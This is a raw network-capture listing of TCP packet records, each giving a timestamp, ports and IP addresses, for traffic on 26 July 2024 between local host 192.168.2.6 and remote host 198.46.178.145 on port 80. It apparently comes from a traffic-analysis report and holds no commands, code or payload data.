Jul 26, 2024 11:27:11.277972937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277987003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278001070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278022051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.278058052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.278362036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278376102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278388977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278400898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278412104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.278413057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.278486013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.278486013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.279004097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279019117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279031992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279042959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279051065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.279055119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279067993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279078960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279084921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.279092073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279135942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.279973984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279989004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.279998064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280006886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280015945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280025005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280029058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.280034065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280044079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280061007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.280092955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.280919075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280936956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280949116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280961037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280970097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.280973911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280987024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.280997992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281009912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281023026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.281055927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.281825066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281841040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281853914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281864882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281868935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.281881094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281893969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281904936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281913042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.281917095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.281958103 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.282764912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282782078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282793999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282805920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282814980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.282818079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282830954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282841921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282852888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282865047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.282872915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.282912970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.283668041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283683062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283694029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283705950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283719063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283724070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.283730984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283744097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.283768892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.283807039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.291908026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.291968107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.291980028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.291989088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292013884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292079926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292220116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292231083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292243004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292262077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292296886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292521000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292679071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292701960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292742968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292751074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292762995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292789936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.292893887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.292947054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.293674946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.293684959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.293695927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.293704987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.293720961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.293766975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.310375929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310444117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310455084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310461998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.310605049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.310605049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.310688972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310699940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310709000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310720921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.310743093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.310796022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.350828886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.350847006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.350904942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.350915909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.350929022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.350975990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.351200104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351214886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351227045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351236105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351247072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351248980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.351330042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.351733923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351747036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351758957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351768970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351780891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.351788998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.351811886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.351843119 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.352303982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.352314949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.352319956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.352324963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.352329969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.352338076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.352399111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.352432966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.353336096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353348970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353358984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353368044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353379011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353388071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353389025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.353398085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353408098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.353430986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.353462934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.367574930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367621899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367631912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367889881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367897987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367907047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.367907047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367917061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.367942095 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.367973089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.368400097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368458033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.368550062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368601084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.368688107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368697882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368730068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.368798018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.368953943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368966103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368978024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368989944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.368999004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369008064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.369050980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.369472027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369484901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369497061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369561911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.369561911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.369884968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369894981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369906902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369918108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369930029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369936943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.369941950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369954109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.369963884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.369990110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.370790005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370801926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370812893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370826006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370837927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370846987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.370850086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370861053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370870113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.370873928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.370910883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.371705055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371716976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371726036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371735096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371746063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371756077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371756077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.371767044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371778965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371787071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.371788979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.371845007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.371860981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.372665882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372679949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372690916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372701883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372710943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372720003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372720003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.372729063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372737885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.372744083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.372971058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.373608112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373620033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373629093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373639107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373647928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373656034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373662949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.373665094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373673916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.373698950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.373784065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.374486923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.374497890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.374506950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.374516964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.374526978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.374538898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.374576092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.382591963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382654905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382666111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382677078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.382699966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.382874966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382920027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382930040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382939100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382944107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.382949114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.382966042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383003950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383312941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383436918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383444071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383460999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383512974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383512974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383682966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383730888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383744955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383750916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383754015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.383770943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.383800030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.384090900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.384322882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.401190042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401266098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401279926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401307106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.401341915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.401472092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401484013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401495934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401509047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.401516914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.401565075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.441601992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.441778898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.442148924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442230940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442241907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442329884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.442502975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442512989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442523003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442532063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442540884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.442605019 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.442605019 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.443103075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443114042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443123102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443131924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443140984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443150043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.443150997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443231106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.443778038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443789005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443797112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443806887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443816900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443828106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443839073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443844080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.443847895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.443912029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.443912029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.444794893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.444850922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.444866896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.444875956 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.444901943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.444904089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.444924116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.444940090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.444952011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.444983006 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.475558996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.475575924 CEST	80	49741	198.46.178.145	192.168.2.6
